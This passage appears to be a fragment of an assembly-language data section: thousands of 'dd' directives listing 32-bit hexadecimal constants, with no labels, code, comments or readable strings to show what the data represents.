0CFE9B124h, 0C01F583Ch dd 0F28087E2h, 904DB4D2h, 450205A4h, 2D2C8B3Dh, 815054B9h dd 5E1529F5h, 78EE2136h, 7353CF92h, 0D6099D62h, 0E0FDCBE7h dd 81323C87h, 5ACB4B5Ch, 4410CFE6h, 0F8680BDEh, 70F89A7Bh dd 4A580E52h, 6E69B90Ah, 821D897Dh, 5323682Bh, 2A8502EFh dd 8175278Fh, 764F68CDh, 53C92C2Ch, 751A0680h, 35EF5B5Fh dd 7AF07FABh, 0C57A4EE9h, 29048041h, 6F4BB50Bh, 0E5DF66D1h dd 3469377Bh, 40622851h, 50975E88h, 60DD0AFAh, 0CB8E4DF5h dd 35CA0CA2h, 9B685600h, 6D2D1231h, 701EC5Eh, 7850412Ah dd 109EE61h, 8C3C2931h, 0FCC22917h, 0C8D69DCEh, 70B290AFh dd 658FC54h, 0E3164E7Fh, 4F9D3ABAh, 41BCF688h, 9B106A25h dd 4C7C0185h, 0D1090119h, 9A036DE8h, 5AD32C7Eh, 4A1813C7h dd 40B45CAFh, 756DC0B9h, 0ABA0302h, 0FD35D42Eh, 4AE280C8h dd 16784602h, 0FD0EF3E9h, 9ED36E1Eh, 5854E6BBh, 9D452063h dd 0A60AC9F9h, 0A1A7BA0Eh, 0F9F76697h, 0A6938E30h, 0EFC9F0D9h dd 0A2F382Dh, 9AF05h, 0FA1D05ABh, 0C29D9257h, 25B0F0CBh dd 0D356D0E8h, 37074873h, 0BD45882Dh, 975BE98Ch, 3E65A05Ch dd 0DFA85D7Dh, 0DA591D00h, 45EDD146h, 124EC1B8h, 5950E68Eh dd 28B8B09Ah, 14C75B21h, 0C69634F8h, 662E85Fh, 2AD70BC7h dd 0DD835EB0h, 227531ACh, 1AC658D2h, 0D51819D5h, 0E4C0D881h dd 7ECCC02h, 10738076h, 0F835F42Fh, 28B43E4Ch, 0EE9AC4DBh dd 0B9CFA9BDh, 0C3AEE3EEh, 0CE958A1h, 7432A0Fh, 8D01086Bh dd 735E02EEh, 8CDD1939h, 81A125Dh, 913146Ch, 30025028h dd 1A8595Ch, 9CC3E5CAh, 0B5D025E9h, 0CEAB504Ah, 90EE4BC7h dd 121BBFF9h, 0C14DD004h, 76BC05EFh, 2ED782B1h, 92B327ABh dd 3CC6492Eh, 410DC4C1h, 0F9DB6223h, 0AD56AA16h, 21DC0940h dd 9BF82A68h, 12400782h, 68C022E0h, 0C0FEA42Ch, 34C83E24h dd 80EA0833h, 4D525AAh, 0CDEE308Fh, 3DAF2BC6h, 2B233058h dd 7CD85E81h, 0B9B09D1Eh, 28800D27h, 5037B0D0h, 0CBDBDDF0h dd 167D2938h, 30BA5F0Eh, 6B5968DAh, 0B358A7A6h, 6C6410C3h dd 65174B3Bh, 2F6CEA42h, 68D00A88h, 0BD2B2392h, 0C10C62Eh dd 0E185479Eh, 3241E50Eh, 0D6897769h, 2F442FA6h, 48BDD03h dd 806860C4h, 0EF2BE108h, 16761C2Dh, 4655680Ah, 0BF549356h dd 82942BE2h, 2A51452Dh, 5946518Bh, 9CFBD69h, 0D05588AFh dd 0BE1AD6AEh, 8A02B03Ch, 120063FDh, 0BDDF0138h, 8BD39ACBh dd 0DE23C2C6h, 0DDDA5AB0h, 0F1C55E4Fh, 5A5D1702h, 27A9F820h dd 0DEE66C08h, 0C30B1F29h, 133EF3ADh, 87B7AF53h, 0C920AE93h dd 0B5593568h, 3BDE1319h, 0F0E81616h, 8901F425h, 0CE5BDC30h dd 0F6D9C7C3h, 0CD462FD3h, 950C1E73h, 57D8E871h, 88680B55h dd 0E702E317h, 0E36B151Ch, 7FBA1EB1h, 0EF889A71h, 0F6D0072Bh dd 5AF773D6h, 0B8E9FDD0h, 8CFAE84Ah, 964AE26Ch, 0C1C40EFh dd 89348A06h, 0AA515FB0h, 17EF2A5Ch, 4757BB27h, 0D465AFF2h dd 6048A1AFh, 0C5B4733h, 0AB8E05FDh, 950A2BA7h, 25C782C8h dd 77646F5h, 0F34AC451h, 83EE255h, 2CFFC090h, 2D7AE100h dd 3A6D128Bh, 60C5A221h, 0D289FDA2h, 9EC6BA45h, 45970BBCh dd 9B0029F8h, 15E0659Dh, 7D415097h, 0B001EE90h, 0D52B4F6Bh dd 0EEA1AAAAh, 0C2C05EDh, 0E5D5824Fh, 44CF9F8h, 2CD81D20h dd 68760439h, 2B8C6DB9h, 805E0EB7h, 0EF6232F7h, 0E07D287Fh dd 82CA7121h, 72E433C0h, 0AD220E24h, 3A2F1105h, 96F77DC1h dd 4D868E6Bh, 308C98E8h, 2519D0Dh, 0E02CC5CFh, 0BF083EC8h dd 0A0575E8Bh, 0C70A7F64h dd 24F8ED77h, 45500BD0h, 1816CF89h, 9F0846BEh, 0BB5300E3h dd 24BD5D72h, 2C2970BDh, 0E3CEC7E7h, 6FE9075Eh, 56017F49h dd 0F1113D35h, 164890DBh, 0C82A5059h, 0C0F120Ah, 710BBB0Dh dd 0CE571C21h, 0BFF7F1E4h, 2668E038h, 0E1524DFDh, 5558BE9h dd 0FF3BFAE5h, 44EE4443h, 0E60A0F2Ah, 52A908A1h, 3BE8AD8Eh dd 5EABC296h, 2D2DEE5Bh, 6B63DD1h, 97627D60h, 688420F1h dd 5BD177F0h, 80001590h, 0F3E660CBh, 56252F7Bh, 8946711Bh dd 6AB85453h, 46677AE9h, 0F4EA053Ah, 9C0A2217h, 5B0B072Dh dd 87167D5Fh, 49420220h, 0BB80F157h, 4E113E48h, 0D5409FB8h dd 686C58B7h, 2C487324h, 5A7F09CAh, 3C79581Ah, 95843CA5h dd 0C4895F79h, 400028F4h, 70BD0949h, 5DC9D99h, 951644F0h dd 0F675AEBAh, 0E92F5EA1h, 310983E1h, 0C51AB9CDh, 6127416Eh dd 2FE22AEDh, 0A24D5204h, 1EB7290Fh, 92D56542h, 0E80F55C2h dd 66B5A1CCh, 1B4BE1Dh, 3E2A432Fh, 46240709h, 834E4428h dd 0DFA2F625h, 5E23E1D5h, 0FCCF31F8h, 0A50AD259h, 0E7126F9Dh dd 66B0C7E9h, 774BD668h, 9872A1D7h, 0E1CE9B5Bh, 1F30A8BBh dd 0AE1B4A4Eh, 42D5B9Ch, 54B068EEh, 0FCB1AB05h, 0F8D1053Ah dd 0F70FCC7Ch, 87EECFA8h, 0F3D95D81h, 0AB4FC62Ch, 602709CCh dd 9ABF1679h, 5B2FD12Fh, 6E4A2031h, 1C2E9073h, 2508DBE9h dd 259CCDFFh, 78686955h, 0B15101DAh, 0E64AE1F8h, 0E202545Dh dd 965D092Fh, 14F398D5h, 830E1C63h, 925DD10h, 805EF231h dd 0A578C1E2h, 45A971Bh, 559CE07h, 6C1021C4h, 0A12DF029h dd 0DB645E07h, 99E98033h, 4B1B52B5h, 0F598EA2Ch, 0AFB85D32h dd 0BE39B385h, 4F7EDACEh, 3DCB17B1h, 0C8202FACh, 9734AD68h dd 36C06498h, 61270F20h, 81060605h, 0B64885F7h, 9A040179h dd 833758D9h, 100007CEh, 0E216850h, 5829F6h, 15628E25h dd 0DD7C0523h, 0E0BE6B25h, 91DB680Bh, 0E7A4CBh, 5A72E59h dd 0B90ECB81h, 0C0428F74h, 0AF7EF5EBh, 52DCB547h, 1716DA48h dd 562432AEh, 0CA233375h, 8B94533Eh, 289CF01h, 56B7A9F0h dd 4CC7F097h, 5DE47EB1h, 264AC1EFh, 0EF83006Eh, 5B719002h dd 16EEA3C2h, 57BC9168h, 79CEA9A1h, 8B51CF33h, 0B862A057h dd 259D135Dh, 905D5008h, 10D583Ch, 770E2F41h, 2E08E0C1h dd 9C5A4200h, 4AF74531h, 65BDD5h, 5B6A40F5h, 0E8291Eh dd 6D1C055Dh, 0C701A3CDh, 0CCB2DEB7h, 9B26E98Bh, 709CD0EFh dd 0A556F91Eh, 916DF7A1h, 4C9E2810h, 18D5039Bh, 0AC2117E8h dd 65DD96E2h, 92578B0Bh, 0E6C4559Eh, 0F506B720h, 0B75B2E60h dd 3FAB6982h, 0F7AD9AFDh, 50E9B74Bh, 0C7932837h, 3EF56BCFh dd 8DEF21FFh, 38AF2B92h, 5A401288h, 14669558h, 59148F8h dd 0C4FFEA16h, 0A2ED4651h, 7FB68B23h, 2809DD08h, 386503FEh dd 0DA050C30h, 0E9EA9EC3h, 544BFB63h, 944BE2B8h, 15BFC55h dd 45484308h, 0A86ABF57h, 0DBA25442h, 72F9474Ah, 0BCBFFDEh dd 0A69C5D15h, 4ED0A120h, 58AEF59h, 0AAE88196h, 0CD6800BCh dd 0F449726Dh, 5C02BF3Fh, 345B14F6h, 5737163Fh, 1DA64AECh dd 7D105025h, 6815C1CEh, 11AB7A8Ah, 0ED2F884Ch, 0D1A50AD6h dd 527C3A8h, 0AFA8BA84h, 5CF2FFB4h, 0FC40E984h, 595A0E16h dd 26BCD389h, 5FF821B0h, 0CAF323B7h, 0AEFD18ADh, 7095A36Ch dd 414F15C4h, 407821F3h, 0DB09B8B7h, 0F50F480Dh, 0ABF9F606h dd 0D2B25203h, 8564C380h, 5B04C7BFh, 0AFE35E85h, 0D8051F4Bh dd 67F1B532h, 13A451CBh, 0EF5884CFh, 77C28234h, 0BF3B6726h dd 0F8D13812h, 14C8C00Ch, 0B0591756h, 58078086h, 263E98D1h dd 6AEC62A8h, 7EDC03D9h, 0E7F911FCh, 52B22AEAh, 0A570B5D6h dd 10490008h, 958807B9h, 0DAE95381h, 0DE22A04h, 0D4182A07h dd 0ECC8C47Ch, 0F577700Fh, 6901675Eh, 1244CFEh, 7FEC146Eh dd 0F92FC455h, 1D970011h, 0B2684C71h, 0BE9C45Ch, 0C4D9B4BEh dd 69ECA14Eh, 0F180C0C0h, 0C8258866h, 86658059h, 0C2DAF6D0h dd 10C2E908h, 6C612D5Eh, 0E9CB5A77h, 7B585203h, 189B04B8h dd 0EB2D0139h, 75D6C9E1h, 19B4D3F0h, 0DE5C2109h, 0B92AE22Eh dd 7E3BBE00h, 31791F9Fh, 0F8870CF0h, 0D2A85318h, 95752BBDh dd 6355828h, 0D99FC09Fh, 38231204h, 0CCB4BA46h, 0DDBC74h dd 2E66882Dh, 0FC090D01h, 646754Ch, 4AC1060Eh, 0F0EAFEDh dd 4125B05Ah, 677C31FDh, 898E8454h, 0DC9DCE22h, 0A7224E9h dd 42BB78E5h, 58093514h, 0E18DBE94h, 328307E9h, 7CCC0688h dd 50C2187Eh, 0ECEA4Eh, 504F665Fh, 29C6BAB8h, 49E9BB0Bh dd 0CE9C5DA5h, 5C6C4F27h, 42854A67h, 540420ECh, 140437BCh dd 74FE563h, 10343B78h, 8F4C5EBh, 5B131C8Dh, 0BA586D58h dd 0F2321E89h, 4D6B8934h, 69C6F957h, 8943297Eh, 66680EE2h dd 8160F750h, 0F32ADE5h, 925D1E90h, 805B0028h, 146837C9h dd 0A64AB145h, 273A08E1h, 1B931A24h, 0EE5B03F8h, 7C807469h dd 0E01E8668h, 0E92F5E37h, 0DF0562BCh, 8808FCF9h, 319622Eh dd 2A90BD00h, 0D0775AFDh, 6855C197h, 6770450Ah, 56E07607h dd 0B63D42E9h, 55A3881Ah, 7A084724h, 0CCBA0196h, 2021DB49h dd 30464FFh, 5952477Bh, 0A93BC704h, 50B4D355h, 0CC465AB6h dd 154BF898h, 8F460A8h, 10B57D3h, 57097FD9h, 5E60908Fh dd 0E9814789h, 0FA2CBA0Bh, 0D167A07h, 0F9294DAAh, 1C08061Ch dd 3B5F1481h, 0BA48C32Ch, 8359162Ah, 43FF8EEh, 79C54E2Bh dd 10BE8AC0h, 0DBD4BFDEh, 0E172EA00h, 90318E2Fh, 0D52961C8h dd 4708E2C1h, 6851E389h, 2791E28Fh, 0CD789BF2h, 0F417B327h dd 39464732h, 68B11855h, 97417089h, 0E9DA38FFh, 0C14E4DD4h dd 1A2BC5Ah, 25C0713h, 0DC2EE831h, 0C4A0343h, 0F1E79DAEh dd 46D07A30h, 244841F6h, 0EC77160h, 77E58CCEh, 0BAF6FE7Ah dd 88A13405h, 0DF13AB84h, 1A7904FBh, 96861861h, 25892407h dd 501100B8h, 2E05FED7h, 73913002h, 892DE801h, 87200207h dd 71B9039Fh, 817DD7EAh, 8281E93h, 1AF940CAh, 7801250Bh dd 1987C403h, 2EA7AF85h, 8526BD4Fh, 47ABB8C2h, 3A951Dh dd 797CBD03h, 296D5E09h, 0EF070AFDh, 36B15987h, 0D7756382h dd 0D2A1609Ch, 5F156DB7h, 4C8D3E06h, 55C604F5h, 0C0090E24h dd 0A501DE63h, 0A0F91673h, 6B90081Ch, 0D8021484h, 2904A62Eh dd 7B5CC6h, 0C1237E3Fh, 0E09705EBh, 601BCF81h, 0E9CA9047h dd 44B1A6A9h, 61545642h, 2B34AC00h, 32672FB9h, 164A3470h dd 4F83EBA0h, 960EF204h, 0BDE4BEA9h, 0E998560h, 16CB70D0h dd 2D660064h, 0F177B6E1h, 4BB8C389h, 0EF01BC40h, 4E0E1230h dd 7A70FBADh, 95481C68h, 0D0B9C298h, 0C9D3F18h, 7C6859E4h dd 654A9C2Ah, 16B1ABFEh, 93D2B32Eh, 0EB7161AFh, 2FFC48DAh dd 6A093512h, 720DD9AEh, 6668C215h, 533CA535h, 0DE936784h dd 31B5B1ADh, 5ECE9550h, 4D652672h, 977C02FBh, 545FDBE1h dd 0D4080876h, 15DA1C30h, 0D0674911h, 2C2CD02h, 0D7611B33h dd 0E8778950h, 7C7F9A4Dh, 4A18C216h, 0D3055B07h, 4EC6E3AAh dd 687B20AEh, 5EA916A9h, 1AC3BBAh, 0EBD2C665h, 76AFAF1Fh dd 0F781C07Fh, 4824669Fh, 15027637h, 55F0E7A8h, 0B6A63B6Fh dd 6EF9BE81h, 72207721h, 405A77DBh, 6B123808h, 82EF7A35h dd 4DF802DCh, 0F0247095h, 8E424DF9h, 0A07EA13h, 3CE80291h dd 6FB73D1Eh, 733FE5C0h, 66A97B4Ah, 0C1850841h, 0FD1479E9h dd 1619508Fh, 31D760F3h dd 12C2BE80h, 0C48D70Ch, 890DA2B4h, 1695F348h, 0BED23A76h dd 0A761796Bh, 58129DCh, 74A8138Fh, 37F17Fh, 0A1685F07h dd 13B56053h, 0B7D85155h, 58224070h, 717BA2BDh, 0EFB20391h dd 0EE66D481h, 906D40FFh, 604A81B8h, 5C816391h, 0B86130E5h dd 237CFEF5h, 6484698Eh, 58B78336h, 114B6DC3h, 68F88412h dd 0AAF2452Dh, 0DABFE198h, 294BA0CBh, 16FD9584h, 3B9BB164h dd 0EAD8D6FCh, 0B6D3328Ah, 1465BDEh, 1D817AE1h, 0C9C22FC5h dd 0B8725569h, 0C827F127h, 0FCF8C65Fh, 0B8BA00D2h, 1BBD45A4h dd 7016C105h, 768421C8h, 8CEF0717h, 0D7B1C7E2h, 484395C2h dd 176A6808h, 2D2F6B7Dh, 5AEC6E64h, 0B0045789h, 8045FCA3h dd 76B06852h, 5A05373Bh, 5BF5E9FCh, 0E99CEC49h, 0AE6AF52Eh dd 0C1367580h, 123DBF61h, 4DD787Bh, 0B26B2EC2h, 276809DAh dd 0F3E5748h, 72602A97h, 8169500h, 0BF5817Bh, 37BB76C0h dd 68052DDCh, 265A4F50h, 0A755E562h, 94E9F6D1h, 98D69DA3h dd 767D84C9h, 797CAD13h, 0C8E6332Fh, 9F5507ADh, 0CEA2665Eh dd 285C319Ch, 775DCDE9h, 0F7725E5h, 10776129h, 4BFDBE53h dd 0A292B9FEh, 0A9158421h, 41076154h, 0B411A6D7h, 4E43F810h dd 0E9F0EBA8h, 799F6CCBh, 4E0782FEh, 0D9607D69h, 1C097EA0h dd 7848E944h, 0F5B12512h, 6AF428D8h, 338709Fh, 6866F92Ch dd 0DAD948DEh, 1F8C6BE3h, 60F2BFC1h, 5C7402B7h, 30AC00C3h dd 0B30053D8h, 1B4503Ah, 2F29EC80h, 0E7ABFCE9h, 0AD70DC01h dd 6E8F652Fh, 0D12FD189h, 0A4FEDC83h, 0BF1435F6h, 31BC4E1Ch dd 0FB61C297h, 0D9095Fh, 1744D588h, 3EC39043h, 7A2D7DD8h dd 8A01E74h, 4E141CD0h, 0B126B8F6h, 0BA2F254Ch, 0AE4D7C04h dd 0D1506233h, 0C86865FBh, 7A076094h, 0E560BE37h, 0BFAA942Fh dd 0CE0B88ECh, 6C56FEFCh, 4FFDE978h, 11E53141h, 828A06B1h dd 9E2FDF1Dh, 0ABE26DE4h, 17926FBDh, 3E122D69h, 0CCBE1816h dd 0F25C73CDh, 653E8FEAh, 0D1FF3602h, 4B297BDh, 0E9FCF5AFh dd 2C037FAFh, 9906CA80h, 0EAD83CE2h, 14C4F2A2h, 0EBD42824h dd 648CC52h, 0ADCC4F7Dh, 0A55BCFC2h, 0B3BA2DB7h, 11B50515h dd 0F0FBEF28h, 0E92F88A6h, 0DD160B55h, 5C73440Eh, 4DAE747h dd 1FCE912h, 0EBA554FCh, 30E90528h, 0C11D34FAh, 803B50CEh dd 11077C27h, 0D1240226h, 0D7FC0668h, 82B55898h, 0C693601h dd 21D6454h, 0E5824BD4h, 60B11689h, 2515F530h, 2770DF7Fh dd 5255D4Ch, 0FF6F9D2Dh, 6885A4ACh, 0CBE64475h, 0C4BB13FBh dd 0DCB6EAB4h, 0EEEE9B84h, 0B7E1C9C9h, 0C6025A7Dh, 2A957C4Dh dd 276E1DFh, 87846038h, 8EE5EFD6h, 2D64BD3Bh, 0A270CBC7h dd 11E5E83h, 0A658E05h, 0D9B17A3Ch, 816E006Fh, 677BE4EBh dd 15684D09h, 5AE3C626h, 250EE9B9h, 0A290FD31h, 7EBCD9E9h dd 56B2B00Bh, 0C6C4163Fh, 0C60054E0h, 708D4A3Bh, 753CE29h dd 0FA2263BBh, 0B8E3E36Eh, 43124BB8h, 25777EC0h, 5AF728FEh dd 0B543BBDBh, 14738B45h, 0D05BDEACh, 252F9411h, 0F3DD90C3h dd 728F12D2h, 969EAC8Bh, 0E2E8D004h, 518458BCh, 208581B1h dd 17A4041Dh, 0B6521F66h, 0B1F51DCEh, 3D3B322h, 243B795Ch dd 61FC0E52h, 380D2168h, 0BD8C15Dh, 122A7F76h, 676E096Eh dd 468B2474h, 58D65C35h, 0FE7DFABEh, 26B505Dh, 19AB05A4h dd 57ECD75Ah, 3FE90C80h, 0A0520D4Fh, 2E1C5FFh, 382D1507h dd 0A10BC140h, 78EB8080h, 0C9CA7C6Fh, 0AA74D110h, 0A2640E3Ch dd 5C3FDE74h, 0E9910EB5h, 25ABB5F2h, 20845FC1h, 1061BF5Bh dd 4903AF7Bh, 3E6A70E7h, 0CC1662Dh, 764606F1h, 4E59F341h dd 82D81C7Fh, 7E4B6A4h, 0E44D6B7Dh, 0E87D0801h, 0E38B3E63h dd 0F366A84Eh, 5DD7264Ch, 0F20D2808h, 0A60B0032h, 5B205F21h dd 55D8E68h, 15A8B53Ch, 3EB19B1h, 55F0B252h, 983DB565h dd 0B9167102h, 0F47718B4h, 3025C251h, 3A39858h, 4306D2F1h dd 5EC9E078h, 116A0508h, 0AA62F768h, 16583C31h, 73FE48A7h dd 94BB5613h, 0A48C164Bh, 0EB25E929h, 0E4FCA018h, 568BF6Ch dd 1B0793BDh, 0FE14AF20h, 9EB93EA4h, 0DD4B0A2Eh, 0B0C9F85Bh dd 68970244h, 0FD01180Bh, 8016162h, 810AE4E9h, 61C02D82h dd 6ED40F7Dh, 1385264Ah, 50CC2561h, 8C040D82h, 6A061627h dd 970CF1B0h, 0FD401058h, 0ECD1680h, 0ACF60E66h, 0E90AEDE0h dd 28B19C28h, 7570933Bh, 1E6350A4h, 0D36EEC69h, 2921F0DEh dd 0C96A80A6h, 8908DE2Bh, 0A85A12AFh, 1E3C1DF6h, 4BFE1296h dd 2FF259D4h, 142A6198h, 0F53EF430h, 87B85BA2h, 0EFA7FD13h dd 50828027h, 98F39415h, 8F4C9505h, 9D0AA208h, 51F0263h dd 277370Fh, 3043424h, 2E92AC2Ch, 0A4E9C5F5h, 0F6B50026h dd 0D0CEFEDEh, 4C8FE654h, 0CBC68019h, 0DEC18606h, 0FD6EEE1h dd 0C85B6666h, 10570B2Fh, 137CB9EEh, 0F80DE43Fh, 54880090h dd 0E7D162A6h, 817347h, 285D4F4Eh, 1E51BA52h, 0E20481F5h dd 7C27168Fh, 83F4FD44h, 67DA95C5h, 0C6673AF6h, 0F572CF69h dd 90F9776Ch, 0F6BF89A2h, 0D2DCDB93h, 0F25F3193h, 55F5319Dh dd 2A5FF859h, 351E080h, 0BB2B076Bh, 0AB01B09Fh, 6D63E5Ah dd 55DAF709h, 565B0C82h, 1D398668h, 582D930Ah, 13280605h dd 0AF2FC79Dh, 4CBDC7C5h, 0FA2017BFh, 313C3DEEh, 0D2D0EAD5h dd 0D5BB5595h, 0E9EA90F2h, 10B655Ch, 0BE0F03D7h, 0EBF92D1Fh dd 92BF3F90h, 5C744069h, 0FA3577h, 4839905Ah, 780C060Dh dd 1A5244EBh, 13587B3Eh, 0C5C3E903h, 7BB1831Ah, 72B344C1h dd 271D0541h, 83AF04F6h, 98FA5031h, 6E96C270h, 62357125h dd 97D6A49h, 8998D7A2h, 0FD8225C5h, 378D7383h, 0ACB20E1Fh dd 87278F9Ah, 0ED375BE6h, 29AF6BEFh, 0FF390B61h, 856F8EB0h dd 4331DD97h, 3584D30Eh, 23B0F109h, 0C1D8F7E1h, 0E7507A6h dd 0C2C1A5F8h, 0E5D1451Dh, 7127FFE3h, 54A2DD5Ch, 6757487Fh dd 70DC2798h, 0B16B8718h, 0FDADD361h, 1F2C88F4h, 1019EF7Dh dd 7EEF3953h, 0B7977A2Ah, 176FF605h, 0BEA4BF2h, 3F85B68h dd 3B2DB120h, 3393142Ch, 25C2F39Dh, 695F5156h, 215FA2D2h dd 0B912E3E2h, 8FBFF222h, 0A540A4C2h, 5066AA12h, 68580B39h dd 6D3A1138h, 0E877B705h, 250ED41Eh, 0BB1B808Ch, 25D54D8Ah dd 97E25328h, 0B8AC6671h, 68173B9Ch, 70E19E40h, 20E9357Ch dd 0FBE8E401h, 0AC976E9Eh, 0E97B07A1h, 8BAAB4A3h, 93A94AB1h dd 798C1311h, 4B305B5Ah, 7DF03598h, 45642F50h, 2A0383C9h dd 0FF008A2Dh, 6EC92E90h, 12EBB633h, 56E99803h, 0FB38618Eh dd 74FB5A30h, 87AD8238h, 0BB00E7DEh, 0EBA641Fh, 0D1D30BF7h dd 9D8443E3h, 6B82DD94h, 0F330AEE5h, 8026529Fh, 180580DFh dd 7D38E94Ch, 4B3CCBh, 0D3731B55h, 5288F836h, 0D8C2FA0Dh dd 925930FFh, 0FB9CF5ADh, 89256CB0h, 33546664h, 0CB494020h dd 3A0465B9h, 0D4FC6189h, 0F371B790h, 26A06887h, 789EFF0Bh dd 82324595h, 4A16186Ah, 44ABA6C0h, 0F761090Bh, 3B4B80DDh dd 0BAD4E0A3h, 3BF3B046h, 750569DCh, 0FDF8CFE9h, 96083C88h dd 450E31Eh, 4C6A0BDEh, 0EB22000Eh, 884EE2Bh, 0F286E912h dd 592F891Dh, 47544B59h, 48CE9C34h, 0D2FB894Fh, 212E197Eh dd 13C33078h, 45BF3CE9h, 8288407Bh, 55842FCh, 25F5B448h dd 953F5827h, 5C931B67h, 95B11EFCh, 43A32EB0h, 9D873904h dd 4F3AFCB8h, 57B2FAECh, 1A340BD4h, 0A8EAB9BAh, 8099E55h dd 2826BA27h, 0FA0EF217h dd 0E0202F2Dh, 6D2558E3h, 4467480Bh, 4010D010h, 5DB8EAD9h dd 1338BD3Eh, 8D6645F2h, 19D780AFh, 41E60056h, 7A0CB81h dd 0F7257D1Dh, 0E0C977DBh, 0C0DC7904h, 0E970EB80h, 88A54F60h dd 3C6068CBh, 0BD555AE1h, 59F4F4EEh, 56046A45h, 0EFCC5BE9h dd 328414B2h, 71EC401Dh, 90D5972h, 151A49D2h, 0FBF0B77h dd 757A428Ah, 194F4020h, 53830438h, 0FC5FE946h, 5FBF4BAEh dd 0B531054Dh, 251B815h, 0E945830Fh, 13ED451h, 7DD16857h dd 9C36088h, 9F3B044h, 35BD428Eh, 7F1DF280h, 5CBFD263h dd 48E30988h, 6816294Eh, 7DB7302Ah, 0EF8B9D27h, 40718F75h dd 4DAB652h, 97F0E067h, 0B1254994h, 301DCE1h, 0E915B353h dd 0FC0B34A2h, 672688FEh, 22075525h, 7CF1BBF9h, 0FB8A6BAh dd 88515082h, 1D1174D9h, 0C9C79F53h, 88201269h, 0F5C38070h dd 0B4E02E9Dh, 0CDE982EDh, 0E54577B7h, 39571AB3h, 0C527E891h dd 66823FDh, 72F19F81h, 8A30419Dh, 0EF3B12B3h, 1E16AE6Bh dd 0B87307BFh, 14723620h, 20C70748h, 5FF495E8h, 62A059E4h dd 66C49387h, 8F628F17h, 0C2F31032h, 1CBB6086h, 7594EA4h dd 8B77094Fh, 95421EDFh, 1317AF65h, 9585A45h, 104CB014h dd 0B77787A8h, 2958CD76h, 9FB9DEBh, 84EFC393h, 9904EB0Bh dd 1C8A4CE8h, 6A80500h, 0E80172DCh, 8816E90h, 61A33129h dd 7BF86A68h, 2EE5E9F1h, 0FC5E76C2h, 365C5205h, 0A502572Dh dd 25E4AE9h, 0C8C37625h, 5FCB285Bh, 2A0CE133h, 64077366h dd 127D4252h, 5D74AE8h, 8A30AE0Fh, 0B2502C7Bh, 0CBF2EC0Ah dd 78C9583Bh, 0C728094Bh, 7206467h, 0FF0603C1h, 0E7E9D047h dd 0BE1B216h, 3CD811DDh, 0B7B92600h, 0E9182BCBh, 0E2511CAAh dd 2A451EBBh, 3C78C92Fh, 0B9009B5Ah, 0F7606569h, 973168D7h dd 13C83FB0h, 0A24F9124h, 954CF302h, 2D00752Ah, 76240E8h dd 3D591AC2h, 14B5487Fh, 4D3B2FC3h, 1E892060h, 600B009Ah dd 0E51BC73Dh, 82F72D4Ah, 0A00932FEh, 1236EB92h, 2D62B06Fh dd 0C9FC7BD2h, 66C3279h, 0D3221C4Eh, 0BFE60AEAh, 162D128Dh dd 7E0BCB0Eh, 6BF4D655h, 244E960Fh, 7CF40173h, 5B14400Ah dd 1C8B5817h, 0BC4F71DFh, 13F6C545h, 0AB3B988Dh, 0F7499D5Fh dd 0FA4AFA7Ah, 0A8285FC6h, 8DFC75EBh, 0B47F7759h, 0B08439A9h dd 62BF9736h, 7E5F7A7Ch, 0C3E27AA0h, 0A2BF201h, 0C7DC7050h dd 0AFF5D902h, 0D593E999h, 10901FBh, 0E53477EFh, 5E363349h dd 0E65BF72Bh, 1D75102Bh, 0AF778C69h, 91B965C7h, 429F7BECh dd 42AA21DCh, 0F62526DCh, 0CECF80C4h, 0E94A6867h, 59AB4E27h dd 202DB82Eh, 4D7D2A18h, 54B880h, 2575EC6Bh, 723F391Bh dd 8D18B998h, 274A2F4Fh, 213AC506h, 7CACC8DDh, 0DF3E4469h dd 92F14787h, 7C5725C1h, 0BF7B623Bh, 24E3D809h, 2FDEF75Fh dd 0D7910FDh, 0C7F19516h, 51DF6841h, 678BA451h, 794CE32Bh dd 7C385E2Dh, 4687271h, 354F1C68h, 5F0621B7h, 0C10F672Dh dd 51EC08A0h, 928730BFh, 8BC89D0Eh, 6C98FA2Dh, 0D55048h dd 940D56C5h, 498B6816h, 0DE81FB02h, 6F6FB57Ah, 0F84DBFF4h dd 346C7537h, 0C0629BBDh, 0C18008C3h, 0CF069367h, 257FEF6Fh dd 9D8337F1h, 3D063287h, 0EE23B934h, 0D4EE2504h, 12F766FDh dd 0ECFEEFC3h, 771280D8h, 41295B5Eh, 7421795Ch, 3CC9DA4Ah dd 0D22F6420h, 389E44B8h, 64AC16BAh, 3DF90D02h, 0E90F1F6Ch dd 4B3C61EEh, 139E8B70h, 403B5273h, 94F68101h, 6809B309h dd 0C43D4FE9h, 0E0554BB1h, 2C130B8Bh, 71AB294Eh, 0AD33C0E8h dd 0EF81C077h, 7C3B199Bh, 605B0C6Ah, 0E939943Dh, 33A8DFD4h dd 100FC3C4h, 173510D3h, 3374BA4Ah, 57E33CEAh, 6B6A54BDh dd 0FE297700h, 0F150FAE9h, 653C35A6h, 6A0E261Fh, 22EA9D16h dd 2013C5D6h, 71F9E5BEh, 0BBEED5DDh, 38680C3Ch, 0B72F251Dh dd 85FE7FE2h, 65B25h, 0B050E5D0h, 0C55F303Eh, 0E8F1E12Dh dd 0AEEC9C6Eh, 55FFE627h, 0B24FC4CCh, 0B6B32B00h, 255BD888h dd 0CA7FC8FEh, 47C15F5Fh, 0C233052h, 0A184824h, 0FEC0DF12h dd 2D5BDD28h, 1CDEEA20h, 78C280C0h, 6E226C0h, 0A9AD139Fh dd 42D501A2h, 0C8895822h, 0AAEFA293h, 298BBE5Fh, 88A3D1B2h dd 5903138Dh, 0CA574941h, 689DA2C8h, 3FDA5607h, 0F11A247Bh dd 0F5006EE5h, 53EDD05Ah, 3034B31Ah, 0A5890DA4h, 0BE4E27Fh dd 54F4EB80h, 0CA82C1Ah, 0E5A97B23h, 4407220Ah, 202DD11h dd 0D7FEBBF9h, 6775E262h, 0F0750929h, 0FCF7A720h, 0ECE5224Dh dd 52CB2AE2h, 0FD655F21h, 0ED6ADFA5h, 9E2F386Eh, 9D1FE6C5h dd 271D9D48h, 556B5C9Eh, 197CB6A9h, 974B6780h, 9680E913h dd 0D3F60E5Ah, 2062F3C0h, 511F5BDAh, 0EADFE2B5h, 0D5A37338h dd 24F808ADh, 76F49C3Eh, 0F821E312h, 1AA73BC2h, 97A93477h dd 3BC56C76h, 0E0BB41D2h, 0F4465A99h, 408C4A49h, 5B1DC50Bh dd 0CC13EE7h, 56AE0AACh, 0ADB4D87Bh, 313FCB1Dh, 80E1ED8Eh dd 0B85022D5h, 0DA21132Ah, 1384BC40h, 9DEA1524h, 34723FB6h dd 8EBE00BAh, 1A4C5B51h, 41D84538h, 